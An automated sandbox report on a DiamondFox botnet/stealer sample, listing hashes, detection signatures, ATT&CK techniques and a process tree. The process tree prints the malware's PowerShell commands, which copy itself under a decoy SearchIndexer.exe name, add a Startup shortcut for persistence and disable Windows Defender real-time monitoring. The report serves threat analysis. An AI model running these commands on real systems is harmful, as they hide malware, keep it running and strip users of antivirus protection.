diamondfox | b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4

Analysis

max time kernel
105s
max time network
110s
platform
windows10_x64
resource
win10v20201028
submitted
06/04/2021, 13:45

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General

Target

b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe
Size

190KB
MD5

2bc219ed6654653e817a2960ac924a7e
SHA1

c547d9c8ea50473b72c0b85672cf32ca5e9558b8
SHA256

b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4
SHA512

6edebb8ed8bae2f50b64f903b52f82385daca9a9f1b2e87b57deabe3e8da593f9aed1903c86fe8fc443e86f7645428f89a38e78e9e1d26da6d8af05594ed2752

Score

10^/10

diamondfox botnet stealer

Malware Config

Signatures

DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
botnet stealer diamondfox

DiamondFox payload 2 IoCs

Detects DiamondFox payload in file/memory.

resource	yara_rule
behavioral2/memory/744-6-0x0000000003410000-0x0000000003428000-memory.dmp	diamondfox
behavioral2/memory/744-9-0x0000000000400000-0x000000000041A000-memory.dmp	diamondfox

Executes dropped EXE 1 IoCs

pid	Process
4072	SearchIndexer.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchIndexer.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
636	powershell.exe
636	powershell.exe
636	powershell.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe
2588	Powershell.exe
2588	Powershell.exe
2588	Powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	2588	Powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
744	b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe
4072	SearchIndexer.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 744 wrote to memory of 636	744	b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe	75
PID 744 wrote to memory of 636	744	b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe	75
PID 744 wrote to memory of 636	744	b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe	75
PID 636 wrote to memory of 4072	636	powershell.exe	80
PID 636 wrote to memory of 4072	636	powershell.exe	80
PID 636 wrote to memory of 4072	636	powershell.exe	80
PID 4072 wrote to memory of 2272	4072	SearchIndexer.exe	81
PID 4072 wrote to memory of 2272	4072	SearchIndexer.exe	81
PID 4072 wrote to memory of 2272	4072	SearchIndexer.exe	81
PID 4072 wrote to memory of 2588	4072	SearchIndexer.exe	84
PID 4072 wrote to memory of 2588	4072	SearchIndexer.exe	84
PID 4072 wrote to memory of 2588	4072	SearchIndexer.exe	84

C:\Users\Admin\AppData\Local\Temp\b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe
"C:\Users\Admin\AppData\Local\Temp\b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\b526619f97cfcfb709fb1684d01e82b6511bb9e2eab52570f39b7498dccbedf4.bin.exe' -Destination 'C:\Users\Admin\AppData\Local\InSecharex\SearchIndexer.exe';Start-Sleep -s 60;Start-Process 'C:\Users\Admin\AppData\Local\InSecharex\SearchIndexer.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Users\Admin\AppData\Local\InSecharex\SearchIndexer.exe
    "C:\Users\Admin\AppData\Local\InSecharex\SearchIndexer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $shell = New-Object -ComObject WScript.Shell;$shortcut = $shell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchIndexer.lnk');$shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\InSecharex\SearchIndexer.exe';$shortcut.Save()
      4⤵
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2272
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
      Powershell Set-MpPreference -DisableRealtimeMonitoring 1
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/636-17-0x00000000081B0000-0x00000000081B1000-memory.dmp

Filesize
4KB

Download
memory/636-25-0x00000000098C0000-0x00000000098C1000-memory.dmp

Filesize
4KB

Download
memory/636-12-0x0000000007320000-0x0000000007321000-memory.dmp

Filesize
4KB

Download
memory/636-13-0x0000000007A90000-0x0000000007A91000-memory.dmp

Filesize
4KB

Download
memory/636-14-0x0000000007450000-0x0000000007451000-memory.dmp

Filesize
4KB

Download
memory/636-15-0x0000000007452000-0x0000000007453000-memory.dmp

Filesize
4KB

Download
memory/636-16-0x00000000079B0000-0x00000000079B1000-memory.dmp

Filesize
4KB

Download
memory/636-11-0x0000000073C40000-0x000000007432E000-memory.dmp

Filesize
6.9MB

Download
memory/636-18-0x0000000008140000-0x0000000008141000-memory.dmp

Filesize
4KB

Download
memory/636-19-0x0000000008400000-0x0000000008401000-memory.dmp

Filesize
4KB

Download
memory/636-20-0x00000000082E0000-0x00000000082E1000-memory.dmp

Filesize
4KB

Download
memory/636-21-0x0000000008890000-0x0000000008891000-memory.dmp

Filesize
4KB

Download
memory/636-22-0x0000000008B00000-0x0000000008B01000-memory.dmp

Filesize
4KB

Download
memory/636-23-0x0000000009BB0000-0x0000000009BB1000-memory.dmp

Filesize
4KB

Download
memory/636-24-0x0000000009870000-0x0000000009871000-memory.dmp

Filesize
4KB

Download
memory/636-31-0x0000000007453000-0x0000000007454000-memory.dmp

Filesize
4KB

Download
memory/636-26-0x000000000A150000-0x000000000A151000-memory.dmp

Filesize
4KB

Download
memory/636-27-0x000000000ACD0000-0x000000000ACD1000-memory.dmp

Filesize
4KB

Download
memory/744-6-0x0000000003410000-0x0000000003428000-memory.dmp

Filesize
96KB

Download
memory/744-9-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/744-4-0x0000000000400000-0x0000000002FA5000-memory.dmp

Filesize
43.6MB

Download
memory/744-2-0x0000000003470000-0x0000000003471000-memory.dmp

Filesize
4KB

Download
memory/744-3-0x00000000031E0000-0x000000000320C000-memory.dmp

Filesize
176KB

Download
memory/744-5-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2272-58-0x0000000002903000-0x0000000002904000-memory.dmp

Filesize
4KB

Download
memory/2272-42-0x0000000073340000-0x0000000073A2E000-memory.dmp

Filesize
6.9MB

Download
memory/2272-48-0x0000000002900000-0x0000000002901000-memory.dmp

Filesize
4KB

Download
memory/2272-50-0x0000000002902000-0x0000000002903000-memory.dmp

Filesize
4KB

Download
memory/2272-49-0x0000000007660000-0x0000000007661000-memory.dmp

Filesize
4KB

Download
memory/2272-53-0x0000000007FA0000-0x0000000007FA1000-memory.dmp

Filesize
4KB

Download
memory/2588-81-0x0000000008B80000-0x0000000008B81000-memory.dmp

Filesize
4KB

Download
memory/2588-88-0x0000000006900000-0x0000000006901000-memory.dmp

Filesize
4KB

Download
memory/2588-60-0x0000000073260000-0x000000007394E000-memory.dmp

Filesize
6.9MB

Download
memory/2588-63-0x0000000004260000-0x0000000004261000-memory.dmp

Filesize
4KB

Download
memory/2588-64-0x0000000004262000-0x0000000004263000-memory.dmp

Filesize
4KB

Download
memory/2588-68-0x0000000007680000-0x0000000007681000-memory.dmp

Filesize
4KB

Download
memory/2588-86-0x0000000006910000-0x0000000006911000-memory.dmp

Filesize
4KB

Download
memory/2588-71-0x0000000008000000-0x0000000008001000-memory.dmp

Filesize
4KB

Download
memory/2588-74-0x0000000008BA0000-0x0000000008BD3000-memory.dmp

Filesize
204KB

Download
memory/2588-84-0x0000000004263000-0x0000000004264000-memory.dmp

Filesize
4KB

Download
memory/2588-82-0x0000000008FD0000-0x0000000008FD1000-memory.dmp

Filesize
4KB

Download
memory/2588-83-0x000000007EAE0000-0x000000007EAE1000-memory.dmp

Filesize
4KB

Download
memory/4072-35-0x0000000003720000-0x0000000003721000-memory.dmp

Filesize
4KB

Download
memory/4072-32-0x00000000035C0000-0x00000000035C1000-memory.dmp

Filesize
4KB

Download